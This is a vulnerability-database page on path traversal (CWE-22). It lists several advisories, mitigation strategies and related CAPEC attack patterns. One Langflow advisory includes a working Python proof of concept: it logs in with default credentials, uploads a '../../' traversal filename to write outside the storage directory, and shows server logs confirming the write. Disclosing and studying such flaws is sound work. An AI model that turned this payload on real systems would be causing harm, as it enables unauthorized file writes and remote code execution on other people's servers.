CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13129 vulnerabilities reference this CWE, most recent first.
GHSA-G26Q-578C-PC62
Vulnerability from github – Published: 2026-05-17 15:31 – Updated: 2026-05-17 15:31A vulnerability has been found in fishaudio Bert-VITS2 up to 8f7fbd8c4770965225d258db548da27dc8dd934c. The impacted element is the function generate_config of the file webui_preprocess.py of the component Gradio Interface. Such manipulation of the argument data_dir leads to path traversal. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-8756"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-17T13:16:46Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in fishaudio Bert-VITS2 up to 8f7fbd8c4770965225d258db548da27dc8dd934c. The impacted element is the function generate_config of the file webui_preprocess.py of the component Gradio Interface. Such manipulation of the argument data_dir leads to path traversal. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-g26q-578c-pc62",
"modified": "2026-05-17T15:31:42Z",
"published": "2026-05-17T15:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8756"
},
{
"type": "WEB",
"url": "https://gist.github.com/YLChen-007/550cb92f3489c317ff049fc7d7ea6b99"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/811175"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/364383"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/364383/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G277-4M9P-49HV
Vulnerability from github – Published: 2023-04-04 15:30 – Updated: 2023-04-10 21:30Directory Traversal vulnerability found in B3log Wide allows a an attacker to escalate privileges via symbolic links.
{
"affected": [],
"aliases": [
"CVE-2020-19279"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-04T15:15:00Z",
"severity": "CRITICAL"
},
"details": "Directory Traversal vulnerability found in B3log Wide allows a an attacker to escalate privileges via symbolic links.",
"id": "GHSA-g277-4m9p-49hv",
"modified": "2023-04-10T21:30:24Z",
"published": "2023-04-04T15:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-19279"
},
{
"type": "WEB",
"url": "https://github.com/b3log/wide/issues/355"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-g277-4m9p-49hv"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G279-3GH8-W39F
Vulnerability from github – Published: 2023-02-28 18:30 – Updated: 2023-03-08 00:30An unauthenticated path traversal vulnerability affects the "STAGIL Navigation for Jira - Menu & Themes" plugin before 2.0.52 for Jira. By modifying the fileName parameter to the snjFooterNavigationConfig endpoint, it is possible to traverse and read the file system.
{
"affected": [],
"aliases": [
"CVE-2023-26256"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-28T16:15:00Z",
"severity": "HIGH"
},
"details": "An unauthenticated path traversal vulnerability affects the \"STAGIL Navigation for Jira - Menu \u0026 Themes\" plugin before 2.0.52 for Jira. By modifying the fileName parameter to the snjFooterNavigationConfig endpoint, it is possible to traverse and read the file system.",
"id": "GHSA-g279-3gh8-w39f",
"modified": "2023-03-08T00:30:32Z",
"published": "2023-02-28T18:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26256"
},
{
"type": "WEB",
"url": "https://github.com/1nters3ct/CVEs/blob/main/CVE-2023-26256.md"
},
{
"type": "WEB",
"url": "https://marketplace.atlassian.com/apps/1216090/stagil-navigation-for-jira-menus-themes?tab=overview\u0026hosting=cloud"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G29C-RGQ6-GXGJ
Vulnerability from github – Published: 2026-06-09 12:32 – Updated: 2026-06-09 12:32A path traversal vulnerability was found in awxkit, the CLI tool for AWX. The YAML !include directive does not sanitize file paths, allowing an attacker to craft a malicious YAML file that reads arbitrary YAML-formatted files from the local filesystem when a user imports it using "awx --conf.format yaml import". This is a client-side vulnerability requiring user interaction.
{
"affected": [],
"aliases": [
"CVE-2026-52902"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T10:16:44Z",
"severity": "MODERATE"
},
"details": "A path traversal vulnerability was found in awxkit, the CLI tool for AWX. The YAML !include directive does not sanitize file paths, allowing an attacker to craft a malicious YAML file that reads arbitrary YAML-formatted files from the local filesystem when a user imports it using \"awx --conf.format yaml import\". This is a client-side vulnerability requiring user interaction.",
"id": "GHSA-g29c-rgq6-gxgj",
"modified": "2026-06-09T12:32:04Z",
"published": "2026-06-09T12:32:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52902"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-52902"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2486729"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G2F7-GQV7-HRRH
Vulnerability from github – Published: 2022-05-17 05:51 – Updated: 2022-05-17 05:51Directory traversal vulnerability in the ZiMB Core (aka ZiMBCore or com_zimbcore) component 0.1 in the ZiMB Manager collection for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
{
"affected": [],
"aliases": [
"CVE-2010-1603"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-04-29T17:30:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in the ZiMB Core (aka ZiMBCore or com_zimbcore) component 0.1 in the ZiMB Manager collection for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.",
"id": "GHSA-g2f7-gqv7-hrrh",
"modified": "2022-05-17T05:51:34Z",
"published": "2022-05-17T05:51:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1603"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/1004-exploits/joomlazimbmanager-lfi.txt"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/12284"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/39546"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/0931"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G2FH-W56X-24QX
Vulnerability from github – Published: 2022-05-01 18:44 – Updated: 2025-04-09 03:49Directory traversal vulnerability in printview.php in PNphpBB2 1.2i and earlier allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the phpEx parameter.
{
"affected": [],
"aliases": [
"CVE-2007-6624"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-01-04T00:46:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in printview.php in PNphpBB2 1.2i and earlier allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the phpEx parameter.",
"id": "GHSA-g2fh-w56x-24qx",
"modified": "2025-04-09T03:49:51Z",
"published": "2022-05-01T18:44:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6624"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39243"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4796"
},
{
"type": "WEB",
"url": "http://irk4z.wordpress.com/2007/12/27/pnphpbb2-12i-printviewphp-phpex-local-file-inclusion-vuln"
},
{
"type": "WEB",
"url": "http://osvdb.org/39879"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27039"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G2G7-QJ44-MR6J
Vulnerability from github – Published: 2022-05-01 23:29 – Updated: 2022-05-01 23:29Directory traversal vulnerability in arias/help/effect.php in aria 0.99-6 allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the page parameter.
{
"affected": [],
"aliases": [
"CVE-2008-0332"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-01-17T22:00:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in arias/help/effect.php in aria 0.99-6 allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the page parameter.",
"id": "GHSA-g2g7-qj44-mr6j",
"modified": "2022-05-01T23:29:12Z",
"published": "2022-05-01T23:29:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0332"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39712"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4920"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/486406/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27311"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G2HG-PF39-5Q37
Vulnerability from github – Published: 2024-10-25 12:31 – Updated: 2024-10-25 18:30In sm_mem_compat_get_vmm_obj of lib/sm/shared_mem.c, there is a possible arbitrary physical memory access due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2024-47027"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-25T11:15:17Z",
"severity": "HIGH"
},
"details": "In sm_mem_compat_get_vmm_obj of lib/sm/shared_mem.c, there is a possible arbitrary physical memory access due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-g2hg-pf39-5q37",
"modified": "2024-10-25T18:30:48Z",
"published": "2024-10-25T12:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47027"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/pixel/2024-10-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G2J9-7RJ2-GM6C
Vulnerability from github – Published: 2026-03-19 17:46 – Updated: 2026-06-06 00:55Summary
While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency.
This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).
Details
The vulnerability exists in two layers:
- API Layer (
src/backend/base/langflow/api/v2/files.py:162): Inside theupload_user_fileroute, thefilenameis extracted directly from the multipartContent-Dispositionheader (new_filename = file.filename). It is passed verbatim to the storage service.ValidatedFileNameprovides zero protection here as it only guards URL path parameters. - Storage Layer (
src/backend/base/langflow/services/storage/local.py:114-116): TheLocalStorageServiceuses naive path concatenation (file_path = folder_path / file_name). It lacks aresolve().is_relative_to(base_dir)containment check.
Recommended Fix:
- Sanitize the multipart filename before processing:
from pathlib import Path as StdPath
new_filename = StdPath(file.filename or "").name # Strips directory traversal characters
if not new_filename or ".." in new_filename:
raise HTTPException(status_code=400, detail="Invalid file name")
- Add a canonical path containment check inside
LocalStorageService.save_fileto permanently kill this vulnerability class.
PoC
This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory.
import requests
BASE_URL = "http://localhost:7860"
# Authenticate to get a valid JWT
token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"]
# Payload using directory traversal in the multipart filename
TRAVERSAL_FILENAME = "../../traversal_proof.txt"
SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY"
resp = requests.post(
f"{BASE_URL}/api/v2/files/",
headers={"Authorization": f"Bearer {token}"},
files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")},
)
print(f"Status: {resp.status_code}") # Returns 201
# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`
Server Logs:
2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
Docker cntainer file:
user@40416f6848f2:~/.cache/langflow$ ls
3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures secret_key traversal_proof.txt
Impact
Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorized_keys to achieve full Remote Code Execution on the host server.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langflow"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0"
},
{
"fixed": "1.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33309"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-284",
"CWE-73",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T17:46:43Z",
"nvd_published_at": "2026-03-24T13:16:02Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nWhile reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency.\n\nThis defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).\n\n### Details\nThe vulnerability exists in two layers:\n\n1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters.\n2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check.\n\n**Recommended Fix:**\n\n1. Sanitize the multipart filename before processing:\n\n```python\nfrom pathlib import Path as StdPath\nnew_filename = StdPath(file.filename or \"\").name # Strips directory traversal characters\nif not new_filename or \"..\" in new_filename:\n raise HTTPException(status_code=400, detail=\"Invalid file name\")\n\n```\n\n2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class.\n\n### PoC\nThis Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user\u0027s UUID storage directory.\n\n```python\nimport requests\n\nBASE_URL = \"http://localhost:7860\"\n# Authenticate to get a valid JWT\ntoken = requests.post(f\"{BASE_URL}/api/v1/login\", data={\"username\": \"admin\", \"password\": \"admin\"}).json()[\"access_token\"]\n\n# Payload using directory traversal in the multipart filename\nTRAVERSAL_FILENAME = \"../../traversal_proof.txt\"\nSENTINEL_CONTENT = b\"CVE_RESEARCH_SENTINEL_KEY\"\n\nresp = requests.post(\n f\"{BASE_URL}/api/v2/files/\",\n headers={\"Authorization\": f\"Bearer {token}\"},\n files={\"file\": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, \"text/plain\")},\n)\n\nprint(f\"Status: {resp.status_code}\") # Returns 201\n# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`\n\n```\n\nServer Logs:\n```\n2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n```\nDocker cntainer file:\n```\nuser@40416f6848f2:~/.cache/langflow$ ls\n3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures\tsecret_key traversal_proof.txt\n```\n\n### Impact\nAuthenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.",
"id": "GHSA-g2j9-7rj2-gm6c",
"modified": "2026-06-06T00:55:50Z",
"published": "2026-03-19T17:46:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33309"
},
{
"type": "PACKAGE",
"url": "https://github.com/langflow-ai/langflow"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-79.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Langflow has an Arbitrary File Write (RCE) via v2 API"
}
GHSA-G2JP-X4FG-5RXW
Vulnerability from github – Published: 2022-05-14 03:49 – Updated: 2022-05-14 03:49The GD Rating System plugin 2.3 for WordPress has Directory Traversal in the wp-admin/admin.php panel parameter for the gd-rating-system-tools page.
{
"affected": [],
"aliases": [
"CVE-2018-5291"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-01-08T07:29:00Z",
"severity": "HIGH"
},
"details": "The GD Rating System plugin 2.3 for WordPress has Directory Traversal in the wp-admin/admin.php panel parameter for the gd-rating-system-tools page.",
"id": "GHSA-g2jp-x4fg-5rxw",
"modified": "2022-05-14T03:49:05Z",
"published": "2022-05-14T03:49:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5291"
},
{
"type": "WEB",
"url": "https://github.com/d4wner/Vulnerabilities-Report/blob/master/gd-rating-system.md"
},
{
"type": "WEB",
"url": "https://wordpress.org/support/topic/xss-lfi-bugs-at-the-latest-version-of-gd-rating-system"
},
{
"type": "WEB",
"url": "https://wpvulndb.com/vulnerabilities/8995"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.